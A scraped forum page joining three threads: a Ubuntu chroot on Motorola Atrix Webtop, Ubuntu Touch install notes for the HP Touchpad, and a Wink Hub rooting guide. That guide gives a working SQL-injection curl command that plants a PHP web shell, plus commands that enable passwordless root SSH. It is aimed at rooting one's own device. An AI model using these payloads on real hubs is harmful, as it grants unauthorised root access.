If you want to take it step further and start Gnome after bootup, this isn't a full solution yet but you could edit your start-oshwt-1.sh and 2 scripts so that the chroot automatically starts on bootup without anything else in Webtop, and from there start gnome-session. I'm testing that now.
Installing Apps:
Since this is based off of Ubuntu Lucid, you can install anything from the Lucid repos, you just have to fix the sources list since the Backtrack sources don't seem to work.
Code:
sudo cp /etc/apt/sources.list /etc/apt/sources.list.old (Backup just in case)
sudo nano -w /etc/apt/sources.list
Comment out (#) any line with the backtrack servers, and uncomment any line with the Ubuntu repos.
Press Control+X, Y, then Enter, then run apt-get update to update the repos.
Apps like Chromium install and run without a hassle (just run apt-get install chromium-browser), but I actually get the error "Bus error" for some reason when Chromium remains idle, it seems to be an unsolved bug in the version of Chromium for armel devices in the Lucid repos, if anyone else has a fix, please do tell.
First.
I think its only for lapdock ..........
3n3rg1c said:
First.
I think its only for lapdock ..........
Click to expand...
Click to collapse
Oh sorry yeah I forgot to mention that. I mean I guess if you have the mod that lets you use Webtop anywhere, that'll work too.
Hi,
The "Part 3: http://www.mediafire.com/?po3nznbxgvdipu" doesn't work.
Could you fix it.
Thank you.
sintoo said:
Hi,
The "Part 3: http://www.mediafire.com/?po3nznbxgvdipu" doesn't work.
Could you fix it.
Thank you.
Click to expand...
Click to collapse
Oh sorry I copied the link incorrectly, updated in OP.
i've gotten it running on my ubuntop model, when i ran it from the terminal it would not give me any issues when closing it back up. is there a way to only launch the gnome panel? running: gnome-panel in the terminal didn't work
etruj said:
i've gotten it running on my ubuntop model, when i ran it from the terminal it would not give me any issues when closing it back up. is there a way to only launch the gnome panel? running: gnome-panel in the terminal didn't work
Click to expand...
Click to collapse
I'm not sure if there is a way to start just gnome panel because of the way the chroot is implemented, since to run gnome-panel, an X session must already be running within the chroot and I need to figure that out.
My first two times i lUnched the session the wallpaper would flicker and then just the panels would come up. Now i get hit with the errors and loop pop ups. Maybe there is a way to launch the session then kill everything but the panel?
Sent from my MB860 using xda app-developers app
etruj said:
My first two times i lUnched the session the wallpaper would flicker and then just the panels would come up. Now i get hit with the errors and loop pop ups. Maybe there is a way to launch the session then kill everything but the panel?
Sent from my MB860 using xda app-developers app
Click to expand...
Click to collapse
The workaround I found worked so far was to modify the start-oshwt-2 script so that it would run a very slightly modified version of the script that automatically starts gnome-session (gnome-panel alone is really stubborn, still haven't figured that out) and doesn't start whatever window manager in WebTop to avoid flickering errors and panel only errors (but of course you don't have access to anything from the actual WebTop, but you could also have start-oshwt open a Terminal window from WebTop too).
Can you attach the script?
Sent from my MB860 using xda app-developers app
etruj said:
Can you attach the script?
Sent from my MB860 using xda app-developers app
Click to expand...
Click to collapse
Just rename it to linux, and copy it to wherever you like on your Atrix. You can also copy it to a directory within your terminal path.
This isn't my script, it's from the Debian chroot, just modified to automatically start gnome-session (credit to SystemR89)
You might need to chmod +x the file.
Also, if you want to start it automatically from start-oshwt-2.sh, make sure you copy the file to a directory within the terminal path, and add the line
Code:
sfalv -i "linux"
and comment out any other line that starts a different X window manager.
running "sudo gnome-panel" gives me the panel while staying inside the original ubuntop. i think i can just swap out that one line in your script to get it working. thanks! also noticed my chrome crashes after a few minutes, ill post the error code and screen grabs soon but was wondering if you ever experienced anything like it?
etruj said:
running "sudo gnome-panel" gives me the panel while staying inside the original ubuntop. i think i can just swap out that one line in your script to get it working. thanks! also noticed my chrome crashes after a few minutes, ill post the error code and screen grabs soon but was wondering if you ever experienced anything like it?
Click to expand...
Click to collapse
Yes, in fact. It's a bus error, and I tried to fix it, but the fix doesn't work (and it only seems to affect Chromium).
Sorry for bumping such an old thread, but I was wondering if anyone wanted to take this project over, since I don't have an Atrix anymore and don't have anything to work with.
Thanks.

Ubuntu Touch 13.10 Saucy on the HP Touchpad DUAL BOOT ANDROID

Ubuntu Touch 13.10 SAUCY Rom Triple Boot WebOS, Android, Ubuntu Touch (Or Quad if you need to)
09-27-2013 is the RootFS Date with apt-get dist-upgrade to 9-29-2013
Download Links Updated 09-29-2013 5:44 am central time
http://gdurl.com/d6Qn cm-10.1-20130929-UNOFFICIAL-tenderloin.zip (Install First Kernel\Ramdisk\System Partition)
http://gdurl.com/EnW8 saucy-preinstalled-touch-armhf.zip (Install Last Ubuntu Touch RootFS\Data Partition)
PARTITION CREATOR AND UNINSTALLER (From ACMEInstaller3 and ACMEUninstaller) Thanks Green!
http://www.gdriveurl.com/?idl=813809797536&out=2 UbuntuTouch_Partition_Creator
http://www.gdriveurl.com/?idl=613809797926&out=2 UbuntuTouch_UbuntuDesktop_Partition_Creator
http://www.gdriveurl.com/?idl=513809798298&out=2 UbuntuTouch_Uninstaller
http://www.gdriveurl.com/?idl=413809798725&out=2 UbuntuTouch_UbuntuDesktop_Uninstaller
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
HOW TO INSTALL!
You will need a little over 2 GB of space on your sdcard to devote to the new LVM Partiitons! This assumes you HAVE installed CyanogenMod (Android), ClockworkMod Recovery, MoBoot and still have WebOS. WebOS is a prerequisite for Audio. ALSO, you need novaterm. http://www.webos-internals.org/wiki/Accessing_Linux_Using_Novaterm AND it's good to have adb as well.
NOTE! If you have Ubuntu 11.04 - 13.XX Desktop Version
The Ubuntu Desktop LVM needs to be Uninstalled and Recreated. I have provided uImage files and Novacom to do this, or you can change the /etc/fstab file to have the correct device mapper paritition number.
Dealing with a small boot partition! It cannot hold all the uImages for WebOS, Android, Ubuntu Desktop, Ubuntu Touch, andClockworkMod at the same time. What I usually do is move the Ubuntu Touch kernel off of /boot to /sdcard (/media/internal in webos) before installing Ubuntu Touch, then move ClockworkMod to the /sdcard after installing Ubuntu Touch, and of course move the Ubuntu Desktop uImage file back to the /boot partition for Quad-Booting. You should only do this, if you know what you are doing, as having ClockworkMod on boot is handy. Know what you are doing or don't do it. (Which is why I should probably stay away from rom building!, haha) https://github.com/jshafer817/Ubunt...mportant files after compiling/data/etc/fstab
*IF YOU HAVE ALREADY INSTALLED THE ROM THAT WAS NOT DUAL-BOOT CAPABLE, YOU SHOULD REINSTALL ANDROID FIRST SINCE WE WIPED IT OUT
*Since we are dual-booting, we need to create 3 LVM Partitions that will use 2 GB of space from the sdcard*
1. Copy the RootFS.zip and the cm-10.zip file to the sdcard
2. Reboot into WebOS Recovery
3. novacom boot mem:// < UbuntuTouch_Partition_Creator
OR
novacom boot mem:// < UbuntuTouch_UbuntuDesktop_Partition_Creator (Requires 6.2 GB of Space, for Ubuntu Desktop 11.XX - 13.XX)
4. Reboot into ClockWorkMod to install the cm-10-*.zip FIRST and the RootFS zip LAST
5. Reboot and chose uImage.UbuntuTouch
Wait 3 minutes, while the touchpad boots. At some point adb will start to run. Eventually you should see a Unity Session..
If you didn't see a session!
a) reboot!
b) Eventually the backlight on the screen will shut off.. Touch the screen or hit the power button or home button some builds to turn the screen on. Still no session? Can you run android-chroot when you get into adb? When you login to adb it should say [email protected] and not BusyBox? You can also run /system/bin/logcat. Hold down the power button for 2 or 3 seconds and Ubuntu Touch will shutdown.
TO FORMAT UBUNTU TOUCH LVM PARTITIONS (in case your wondering create-partition.sh does this.. but what if you want to format after you install to do a reinstall??
novaterm into webos!
mkfs.ext4 /dev/store/ut-data
mkfs.ext3 /dev/store/ut-system
mkfs.ext3 /dev/store/ut-cache
TO REMOVE UBUNTU TOUCH LVM's AND KERNEL
novacom boot mem:// < UbuntuTouch_Uninstall
TO REMOVE UBUNTU TOUCH AND UBUNTU DESKTOP LVM's AND KERNEL
novacom boot mem:// < UbuntuTouch_UbuntuDesktop_Uninstall
Having problems installing WebOS Applications????
https://developer.palm.com/support/applicationupdate WebOS UpdateManager Certificate Fix
http://forum.xda-developers.com/showthread.php?p=42317438
There is an update to WebOS.. If you wipe your device after July 23rd 2013.. Then you must do this.
Ubuntu Touch Notes!
NOTE! If you have Ubuntu 11.04-13.10 NON-TOUCH installed, you will need to:
novacom boot mem:// < UbuntuTouch_UbuntuDesktop_Uninstall
*Built from Milaq's CM 10.1 Source WITHOUT JCSullins Bluetooth fixes
*Bluetooth and Sound come from the Ubuntu 11.04-13.10 Non touch. Mainly the upstart and executables. WebOS does get mounted for sound to get initialized. udev and pulse were patched.
*First Ubuntu Touch device running Saucy (Flipped Image) but with LVM Partitions. For this to work I had to compile lvm and e2label statically and use them in the ramdisk for Ubuntu.
How Saucy Works!?
Kernel is loaded with an Ubuntu Touch Ramdisk (Like normal Linux). Then the data partition is mounted as root, the system partition is mounted as /system. The LXC containter loads android based off of /system, then Ubuntu Touch Session loads. This is not a chroot like quantal.
What works:
*Camera
*Wifi
*Bluetooth
*Sound
*Accelerometer
Bugs and Beta\Alpha Stuff:
1. PulseAudio\GStreamer\Music App is not tied to the Media Service, so the music does not play with the screen turned off. GStreamer keeps playing, but you cannot hear sound unless powerd has turned the screen on and.. ??? Not worth changing until Ubuntu Touch becomes more.. finalized. Sometimes the music does not come back on after a long sleep?
Workarounds:
sudo service powerd stop (with the backlight turned on)
2. Bluetooth only works in terminal
a) this is because Bluetooth Settings has not been written to Ubuntu Touch
3. Camera App only works one time. Needs to be mirrored.. Again. Long story!
4. Brightness or Backlight settings???
as root!
echo "0-255" > /sys/class/leds/lcd-backlight/brightness
to set the screen brightness. 0-255 is a range of values you should use.
0 will turn off the backlight
255 is full birghtness
and of course.. service powerd stop while the screen is on will stop powerd from turning off the backlight if idle.
5. Touchscreen finger liftoff does not always get detected at boot correctly. Need to talk to ubunu-devel about that.? CM-TEAM?? Hmm.. Reboot and try again!
6. Browser cannot download files. Browser cannot play videos because the latest gstreamer "has not landed yet"..
7. 720P H.264 is choppy? 480p plays fine.. Waiting for more updates.
APPARMOR NOTE: Since 2.6.35 Kernel does not have apparmor, we are using /usr/bin/aa-strip with crontab to run every minute. So if you install a click app and cannot run it, wait a minute! sed -i "s/aa-exec.*-- //g" /home/phablet/.local/share/applications/*.desktop
OPEN-SSH NOTES:
Recently they did something to openssh. Do this to install.
apt-get install --reinstall openssh-server
service ssh start (every boot?)
If powerd turns off the backlight, it suspends your ssh session. There is some code in the wifi modules that I believe is causing it. Work on that later.. or disable powerd and turn the lights off to save battery power or backlight by reading brightness notes above.
MTP-SERVER NOTE
mtp-server has been disabled.. want to enable it? As root!
cd /etc/init
mv ../mtp* .
cd /usr/share/upstart/sessions
mv ../mpt* .
reboot
When you do, don't expect adb to work... In Ubuntu 13.10 Desktop, you see the /home/phablet get Mounted on the filesystem via mtp.. I haven't messed with the Windows Driver.. I messed with the google one and changed the pid and vid, and.. no device was found when I ran adb.. so.. perhaps mtp shuts down adb on the touchpad.. I think that was in the upstart file though.. mtp-server-bootup.conf, etc.
MORE USEFUL NOTES
How to copy files with novaterm?
cat filename | novaterm put file:///put/full/destination/path/filename (push example) tested
novaterm get file:///full/destination/path/filename (pull example) untested
novaterm get file:///full/destination/path/filename > filename (pull example) untested
How do I compile uimage-extract to extract a kernel.img and ramdisk.img from a uImage file (boot.img)?
git clone https://github.com/jcsullins/moboot
cd moboot/tools
gcc -o uimage-extract uimage-extract.c -lz
How do I extract the kernel image and initramfs from a uImage file?
./uimage-extract uImage.filename (from inside moboot tools folder)
How to unpack and repack gzip ramdisk images?
mkdir newramdisk
cd newramdisk
gunzip -c ../your-ramdisk-file | cpio -i
make changes, next command is to pack a new ramdisk.img
find . | cpio -o -H newc | gzip > ../newramdisk.img
How to unpack and repack lzma ramdisk images? (I used lzma)
mkdir newramdisk
cd newramdisk
lzma -dc ../newramdisk.img | cpio -i
make changes, next command is to pack a new ramdisk.img
find . | cpio -o -H newc | lzma > ../your-ramdisk-file
How to create a moboot compatible kernel?
mkimage -A arm -O linux -T kernel -C none -a 0x40208000 -e 0x40208000 -n "Kernel" -d kernel.img uImage
mkimage -A arm -O linux -T ramdisk -C none -a 0x60000000 -e 0x60000000 -n "Image" -d ramdisk.img uRamdisk
mkimage -A arm -O linux -T multi -a 0x40208000 -e 0x40208000 -C none -n "multi image" -d uImage:uRamdisk uImage.CyanogenMod.new
How to connect to an open-wifi network without Unity as root?
adb shell
sudo su
service network-manager stop
iwconfig wlan0 essid "essid-you-want-to-connect-to"
ifconfig wlan0 192.168.X.X netmask 255.255.255.0 up
route add default gw 192.168.X.X
sed -i '$ a nameserver 8.8.8.8' /etc/resolv.conf
you should be on the net.
How can I create my own saucy-preinstalled-touch-arm.tar.gz to go into the .zip? (from a runnng device)
adb shell
cd /data/ubuntu
sudo tar --preserve-permissions -zcvf /sdcard/saucy-preinstalled-touch-armhf.tar.gz *
exit
adb pull /sdcard/saucy-preinstalled-touch-armhf.tar.gz .
now put that file in the .zip.
How do I untar the saucy-preinstalled-touch-armhf.tar.gz file?
place saucy-preinstalled-touch-armhf.tar.gz in the folder you want to be in, and go to that folder in terminal
mkdir rootfs
cd rootfs
sudo tar --preserve-permissions -zxvf ../saucy-preinstalled-touch-armhf.tar.gz
sudo make your changes as root, be mindful of permissions.
How do I swap my kernels to quad-boot? (With webOS)
a)Before you install Ubuntu Touch, move a kernel from /boot to /media/internal
novaterm
mount -o remount,rw /boot
mv /boot/uImage.Ubuntu13 /media/internal (or uImage.Ubuntu)
mount -o remount,rw /boot
b) After you install Ubuntu Touch, move it back, but remove ClockworkMod (know what you are doing are don't do this)
novaterm
mount -o remount,rw /boot
mv /boot/uImage.ClockworkMod /media/internal
mv /media/internal/uImage.Ubuntu13 /boot
sync
mount -o remount,ro /boot
How can I run webOS Doctor after all this and just start all over factory clean?
http://forum.xda-developers.com/showthread.php?t=1564938 3rd post but I would skip the creation of /dev/store/cm-* partitions. Be sure to delete cm-data, cm-system, cm-cache, ut-data, ut-system, ut-cache, and ubuntu-store if you have it. Delete them all! Then recreate the lvm. If you need to recreate Android partitions do that with AcmeInstaller ie the usual way to install Android. You must start with WebOS 3.0.0 and then you can do 3.0.5. Be sure to say thanks on that post.
Thanks to:
Ogra (ubuntu-touch, huge thanks!), castrwilliam (ubuntu desktop rom), CalcProgrammer (ubuntu desktop rom), crimsonredmk (archlinux rom), Flemmard (cm team "resizing the boot partition would be stupid", yep), Mystikal57 (sound fixes in desktop that really helped get it going), JCSullins (moboot, cm team, all sorts of stuff), Dorregray (camera fixes I need to reimplement), w-flo (ubuntu-touch), drmarble (ubuntu-touch, cyanogenmod-touchpad, big thanks to him).. and others from the #ubuntu-touch irc channel and Ubuntu 11.04-13.10 threads, cyanogenmod team, etc... "I stand on the shoulders of giants"
Look at the old Ubuntu Touch thread I started around page 17 for more in depth notes on what I did.
OR
https://github.com/jshafer817/UbuntuTouch
I am NOT a developer!!!!
Wow this is exciting news for my little tablet... Been messing around with 13.04f so this will be a blast.
Sent from my Galaxy Nexus using Tapatalk 2
Once you release your build I'll try to iron out some of the bugs.
Sent from my LG-LS970 using xda app-developers app
blmvxer said:
Once you release your build I'll try to iron out some of the bugs.
Sent from my LG-LS970 using xda app-developers app
Click to expand...
Click to collapse
Thanks! I am going to work on the camera being mirrored and flipped for the next 3 hours or so.. after that.. oh well! =)
Just be sure to post your fixes.
Will do! good luck!! Can't wait to boot this up and get to work!
Sent from my LG-LS970 using xda app-developers app
Any update on the camera bug... Get that baby squashed yet
Sent from my Galaxy Nexus using Tapatalk 2
kicker22004 said:
Any update on the camera bug... Get that baby squashed yet
Sent from my Galaxy Nexus using Tapatalk 2
Click to expand...
Click to collapse
Honestly.. a little bit.. Spent all day trying to figure out what file makes the change.. as this has to be done in cm10.1 not ubuntu.
camera.msm8660.so
About 1 try left before giving up.. In the meantime I created a github... Will be very soon. Before I go to sleep again.. Brewing Coffee..
Took a 5 hour nap today though! Sweet!
I found a line for CameraHAL.cpp and I swapped 3/2 to 2/3 and got an ugly green screen. I am trying to swap previewWidth and Height now.. If nothing happens.. I give up and will start to package. FAILED.
The last try will be just telling it to be a front facing camea, as that would explain the mirror, flipping??? New Idea sounds better!
if (read_mode_from_config("preview_mode") == 1) {
info->facing = CAMERA_FACING_BACK;
}
to (remove the if)
info->facing = CAMERA_FACING_BACK; OR?
info->facing = CAMERA_FACING_FRONT;?
Testing both then packaging. dmesg seems to say we are using preview mode 2 so maybe add the 2?
First try:
info->facing = CAMERA_FACING_FRONT; if no change occurs in image (NO CHANG OCCURED), then perhaps Ubuntu Touch thinks the camera IS front facing.. so the next try will be facing back hard coded.. look for a change, if it does.. try adding the 2 with the if statement. Or just keep it this way... as a change would be GREAT.
from dmesg:
msm_camio_set_perf_lvl: S_PREVIEW rc = 0
VFE opertaion mode = 0x2, output mode = 0x5
http://developer.android.com/reference/android/hardware/Camera.html !
android::HAL_getCameraInfo(camera_id, &cameraInfo);
info->facing = cameraInfo.facing;
info->orientation = cameraInfo.orientation;
info->facing = CAMERA_FACING_BACK;
info->orientation = 90;
vs
info->orientation = 180;
Going to try this now.. as the camera WAS being a front camera. Image is no longer mirrored incorrectly. Now we just have to find the right orientation.
:good:
Nice work. Power naps are the best for figuring out problems
Sent from my Galaxy Nexus using Tapatalk 2
Alright.... will be releasing today...
Got the rotation better with... compass\accel.. not the camera...
Going to try a couple more things....
jshafer817 said:
Alright.... will be releasing today...
Got the rotation better with... compass\accel.. not the camera...
Going to try a couple more things....
Click to expand...
Click to collapse
I'm ready!!!!
Sent from my LG-LS970 using xda app-developers app
And I'm charging my tablet lol
Sent from my Galaxy Nexus using Tapatalk 2
Okay... I think we will need to recompile the camera app to change to portrait\landscape correctly...
So.. Rom Released!
I will be testing within an hour once I doctor my tablet and resize the partitions.
Sent from my LG-LS970 using xda app-developers app
---------- Post added at 09:40 PM ---------- Previous post was at 09:34 PM ----------
When you compile your next kernel for your ROM, if you do, will you add fstrim?. As I read there is slow graphics. Trimming the partitions should speed up things.
Sent from my LG-LS970 using xda app-developers app
I'm away from the house...dang!!
Sent from my Galaxy Nexus using Tapatalk 2
Camera App Info!
VideoOutput {
id: viewFinder
property bool shouldBeCentered: device.isLandscape
property real anchoredY: viewFinderGeometry.y * (device.isInverted ? +1 : -1)
property real anchoredX: viewFinderGeometry.x * (device.isInverted ? +1 : -1)
x: viewFinder.shouldBeCentered ? 0 : viewFinder.anchoredX
y: viewFinder.shouldBeCentered || device.naturalOrientation === "landscape" ?
0 : viewFinder.anchoredY
width: parent.width
height: parent.height
source: camera
/* This rotation need to be applied since the camera hardware in the
Galaxy Nexus phone is mounted at an angle inside the device, so the video
feed is rotated too.
FIXME: This should come from a system configuration option so that we
don't have to have a different codebase for each different device we want
to run on */
orientation: device.naturalOrientation === "portrait" ? -90 : 0
/* Convenience item tracking the real position and size of the real video feed.
Having this helps since these values depend on a lot of rules:
- the feed is automatically scaled to fit the viewfinder
- the viewfinder might apply a rotation to the feed, depending on device orientation
- the resolution and aspect ratio of the feed changes depending on the active camera
The item is also separated in a component so it can be unit tested.
*/
Ah HA!!!
Is a Doctor a must? all i'm getting is a black screen right after CID changes faces. I've let it sit for 10 minutes and still same results, Reformatted system,data,cache and re installed in order...same?
A few questions
Been using Ubuntu on my Laptop and liked it. I'm looking to try it out on my TouchPad now but I have a few questions.
Does this replace Android? Or does this create new partitions for Ubuntu and allows triple boot from moboot?
I've notice a few installation instructions saying this is 'based on CM10'. Is this Ubuntu on top of the Android core or a pure Ubuntu installation?
Thanks for clarifying this for me in advance.
Fr3nZy said:
Been using Ubuntu on my Laptop and liked it. I'm looking to try it out on my TouchPad now but I have a few questions.
Does this replace Android? Or does this create new partitions for Ubuntu and allows triple boot from moboot?
I've notice a few installation instructions saying this is 'based on CM10'. Is this Ubuntu on top of the Android core or a pure Ubuntu installation?
Thanks for clarifying this for me in advance.
Click to expand...
Click to collapse
This replaces Android. Backup is your friend!
Thanks to the op for continued development of this rom.
---------- Post added at 08:49 AM ---------- Previous post was at 07:53 AM ----------
kicker22004 said:
Is a Doctor a must? all i'm getting is a black screen right after CID changes faces. I've let it sit for 10 minutes and still same results, Reformatted system,data,cache and re installed in order...same?
Click to expand...
Click to collapse
Same issue here ....
Edit: success! Booted up after a couple of minutes after a reboot.
However, some issues - rotation not working and keyboard is messed up. It comes up in the top left hand corner of the touchpad when in landscape mode, see attached pictures.
Thanks
Well tomorrow I'll give it another try
Sent from my Galaxy Nexus using Tapatalk 2

Wink Hub root

Rooting a Wink Hub with the latest (as of October) firmware (version 0.33) or earlier.
First use a curl command to exploit a SQL injection vulnerability to create a php file used to execute shell commands on the hub:
Code:
curl -d id="1 or 1=1';ATTACH DATABASE '/var/www/exploit.php' AS lol; CREATE TABLE lol.pwn (t TEXT); INSERT INTO lol.pwn (t) VALUES ('<?php passthru(' || char(36) || '_POST[' || char(39) || 'cmd' || char(39) || ']); ?>');--" http://192.168.0.1/dev_detail.php
Now you can supply shell commands to the exploit.php.
If you don't want to mess with ssh keys, now you can run this command to enable root login without using a password. My recommendation would be to immediately ssh in and use the passwd command to change the root password.
Code:
curl -d cmd='sed%20-i%20%27s%2F%3D-sg%2F%3D%2F%27%20%2Fetc%2Fdefault%2Fdropbear%3B%2Fetc%2Finit.d%2FS50dropbear%20restart%3Becho%20-e%20%22%5Cn%5Cn%22%20%7C%20passwd' http://192.168.0.1/exploit.php
For those who don't mind using ssh keys, or want to run other commands:
On the machine I want to copy my ssh key to root so I'd run something like this:
Code:
echo MySSH_PublicKey > /root/.ssh/authorizedkeys
It would be nice if you could just call:
Code:
curl -d cmd='echo MySSH_PublicKey > /root/.ssh/authorizedkeys'
But that won't generally work because of http issues. The key is to urlencode the cmd you want to run using a site like http://meyerweb.com/eric/tools/dencoder/
Just urlencode the bits between the single quotes, the php exploit won't work without the single quotes.
So after getting the urlencoded command I actually invoke:
Code:
curl -d cmd='echo%20MySSH_PublicKey%20%3E%20%2Froot%2F.ssh%2Fauthorizedkeys' http://192.168.0.1/exploit.php
Then you can happily ssh as root to the wink hub!
:victory:
FreeFly said:
Then you can happily ssh as root to the wink hub!
:victory:
Click to expand...
Click to collapse
FIRST REPLY! :good:
This is awesome! I can't wait to see where this goes. We should also get Nashira in here with his awesome android app, BLINK that allows a rooted hub to be controlled locally.
https://github.com/nashira/blink
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
This awesome. Thanks for the great work
Nice work. This will make things much easier.
Some people (people running Windows for instance) are having issues generating the ssh keys. As a suggestion, can we incorporate the below so that people can just login as root using a password? I believe this would make things even simplier.
Code:
#commands to allow root login using root as password
sed -i 's/=-sg/=/' /etc/default/dropbear;/etc/init.d/S50dropbear restart
echo -e 'root\nroot' | passwd
I don't have enough post to provide the exact command, but it should be something like:
curl -d cmd='sed%20-i%20%27s%2F%3D-sg%2F%3D%2F%27%20%2Fetc%2Fdefault%2Fdropbear%3B%2Fetc%2Finit.d%2FS50dropbear%20restart' hxxp/ipaddress/exploit.php
curl -d cmd='echo%20-e%20%22root%5Cnroot%22%20%7C%20passwd' hxxp/ipaddress/exploit.php
FreeFly said:
Rooting a Wink Hub with the latest (as of October) firmware (version 0.33) or earlier.
Click to expand...
Click to collapse
Very nice!
I started lookng for another PHP hole but never looked that hard as my unit was already rooted. I did my upgrade by downloding the app-rootfs.ubi manually and using ubiformat to flash it on.
However in the official Wink app its still showing me version 0 I've been wading through the upgrade scripts to see where it set's version 33 its in /database somehere If you could take a look at your device and let me know I'd very much appreciate it.
I also have a pretty good script that downloads the update re-exploits the update before it installs the update with ubiformat. There is about 4 or 5 places that have a lot of this wink rooting data. If there is interest I would be happy to setup a forum to focus the very small "scene"
If anyone has setup a kidde smoke alarm via aprontest let me know I have had much luck as of yet. I'll certainly post if I make some headway.
berserko said:
Very nice!
I started lookng for another PHP hole but never looked that hard as my unit was already rooted. I did my upgrade by downloding the app-rootfs.ubi manually and using ubiformat to flash it on.
However in the official Wink app its still showing me version 0 I've been wading through the upgrade scripts to see where it set's version 33 its in /database somehere If you could take a look at your device and let me know I'd very much appreciate it.
I also have a pretty good script that downloads the update re-exploits the update before it installs the update with ubiformat. There is about 4 or 5 places that have a lot of this wink rooting data. If there is interest I would be happy to setup a forum to focus the very small "scene"
If anyone has setup a kidde smoke alarm via aprontest let me know I have had much luck as of yet. I'll certainly post if I make some headway.
Click to expand...
Click to collapse
Here are the files that report the versions to the app.
echo "00.01" > /database/cf_build
echo "00.01" > /database/cf_fver2
echo "00.33" > /database/cf_fver3
berserko said:
There is about 4 or 5 places that have a lot of this wink rooting data. If there is interest I would be happy to setup a forum to focus the very small "scene"
Click to expand...
Click to collapse
Someone over at slickdeals did but doesn't look like there is anything happening over there yet. He's got some links but that is about it.
homeautomation proboards com/board/3/wink-hub
---------- Post added at 01:52 AM ---------- Previous post was at 01:16 AM ----------
FreeFly said:
Then you can happily ssh as root to the wink hub!
:victory:
Click to expand...
Click to collapse
It doesn't seem to be taking my key? I can't ssh into it.
disconnected: no supported authentication methods available (server sent publickey)?
nyvram1 said:
We should also get Nashira in here with his awesome android app, BLINK that allows a rooted hub to be controlled locally.
Click to expand...
Click to collapse
BLINK does look very nice. I'd originally wanted to root the hubs just to run my own scripts for home automation, but that app is very cool.
:good:
00.47 is out and this particular sql injection has been closed
00.47 is out and this particular sql injection has been closed
nyvram1 said:
FIRST REPLY! :good:
This is awesome! I can't wait to see where this goes. We should also get Nashira in here with his awesome android app, BLINK that allows a rooted hub to be controlled locally.
Click to expand...
Click to collapse
I'm also interested in Nashira's project, but I'm looking to use his work to figure out how to send commands from a Raspberry Pi that will be the equivalent of pushing a light-on button on the Android app. Being able to issue commands to the wink by running a python script, for example, would open up the hub to be used in conjunction with lots of home automation platforms. I have a bunch of cheap Arduino sensors integrated with an open source home automation system that is much more flexible than Wink, so I'd just like to use the Wink hub for its radios.
It looks like you can do a HTTP post to mimic a button push, but that's something I'm not familiar with. If someone has any insights, I'd appreciate it.
---------- Post added at 05:21 AM ---------- Previous post was at 05:13 AM ----------
FreeFly said:
BLINK does look very nice. I'd originally wanted to root the hubs just to run my own scripts for home automation, but that app is very cool.
:good:
Click to expand...
Click to collapse
Hey, that's what I'm interested in too. Do you think you can use his Android app to figure out how to send HTTP posts to the Wink hub?
qnology said:
00.47 is out and this particular sql injection has been closed
Click to expand...
Click to collapse
Qnology, when did that happen? Is it on the "wink-hub-images.s3.amazonaws.com/00.01/app-rootfs.ubi"? I just manually updated my rooted hub today with that .ubi file. Wonder if I upgraded to 0.33 or 0.47?? I don't even know how to find out.
automonkey said:
It doesn't seem to be taking my key? I can't ssh into it.
disconnected: no supported authentication methods available (server sent publickey)?
Click to expand...
Click to collapse
Did you try the passwordless method?
electronichamsters said:
Do you think you can use his Android app to figure out how to send HTTP posts to the Wink hub?
Click to expand...
Click to collapse
Pretty easy. His API is https://github.com/nashira/blink/blob/master/server/api/commands/index.php It's really a wrapper for the aprontest command. Pretty easy to use python to send JSON messages to the commands/index.php. Play with aprontest by itself for a bit first and you'll understand how to use it to switch and dim the lights:
http://gtvhacker.com/index.php/Wink_Hub​​
Then you'll understand you just send a command (update) with the master id for the light you want to switch, and value id (1 for dim, 2 for on/off), and a corresponding value (1-255 for dim / ON or OFF) wrap it in JSON and send to command/index.php
I'm going to write some code to do this myself so I'll post some samples here when I do.
Really?? They already patched it?
electronichamsters said:
Qnology, when did that happen? Is it on the "wink-hub-images.s3.amazonaws.com/00.01/app-rootfs.ubi"? I just manually updated my rooted hub today with that .ubi file. Wonder if I upgraded to 0.33 or 0.47?? I don't even know how to find out.
Click to expand...
Click to collapse
I guess yesterday. I upgraded a new out of box Win Hub using the iOS Wink App thinking that I would get 00.33. When I ran the curl command against dev_detail.php and received a 404, I checked my iOS Wink app and it showed that the Hub was on firmware 00.47.
FreeFly said:
Did you try the passwordless method?
Click to expand...
Click to collapse
Yes I got that to work via Rezurok's cmd.php, doing it via curl on windows in a command window wasn't giving me anything useful for feedback, whereas the cmd.php let me know it was pissy because it was too short. I've got it working now.
electronichamsters said:
Qnology, when did that happen? Is it on the "wink-hub-images.s3.amazonaws.com/00.01/app-rootfs.ubi"? I just manually updated my rooted hub today with that .ubi file. Wonder if I upgraded to 0.33 or 0.47?? I don't even know how to find out.
Click to expand...
Click to collapse
Run an MD5sum against your app-rootfs.ubi if the md5sum is 55574706f2cbf4f6e17e4d224b63287d then you have version 47. I don't havre the 33 md5sum in front of me I'll post it if I can find it...
---------- Post added at 02:38 PM ---------- Previous post was at 02:20 PM ----------
berserko said:
Run an MD5sum against your app-rootfs.ubi if the md5sum is 55574706f2cbf4f6e17e4d224b63287d then you have version 47. The MD5sum for 33 is eec07feee1fa1a4a06e05a00af18156f
Click to expand...
Click to collapse
I found the update went live at:
2014-12-10T22:16:58.000Z
I assume Z means zulu so 5:16pm eastern?
Here is the commands I used to upgrade my pre-rooted Wink for 33 to 47
Hope this helps:
Code:
echo "1" > /database/DO_UPDATE
reboot
Once it comes back in upgrade mode I ran the following:
Code:
cd /tmp
echo "127.0.0.1 localhost" > /etc/hosts
echo "127.0.0.1 flex-dvt" >> /etc/hosts
wget hXXp://wink-hub-images.s3.amazonaws.com/00.01/app-rootfs.ubi <--- Fix the URL forum is breaking it on me...
ubiformat /dev/mtd5 -f /tmp/app-rootfs.ubi
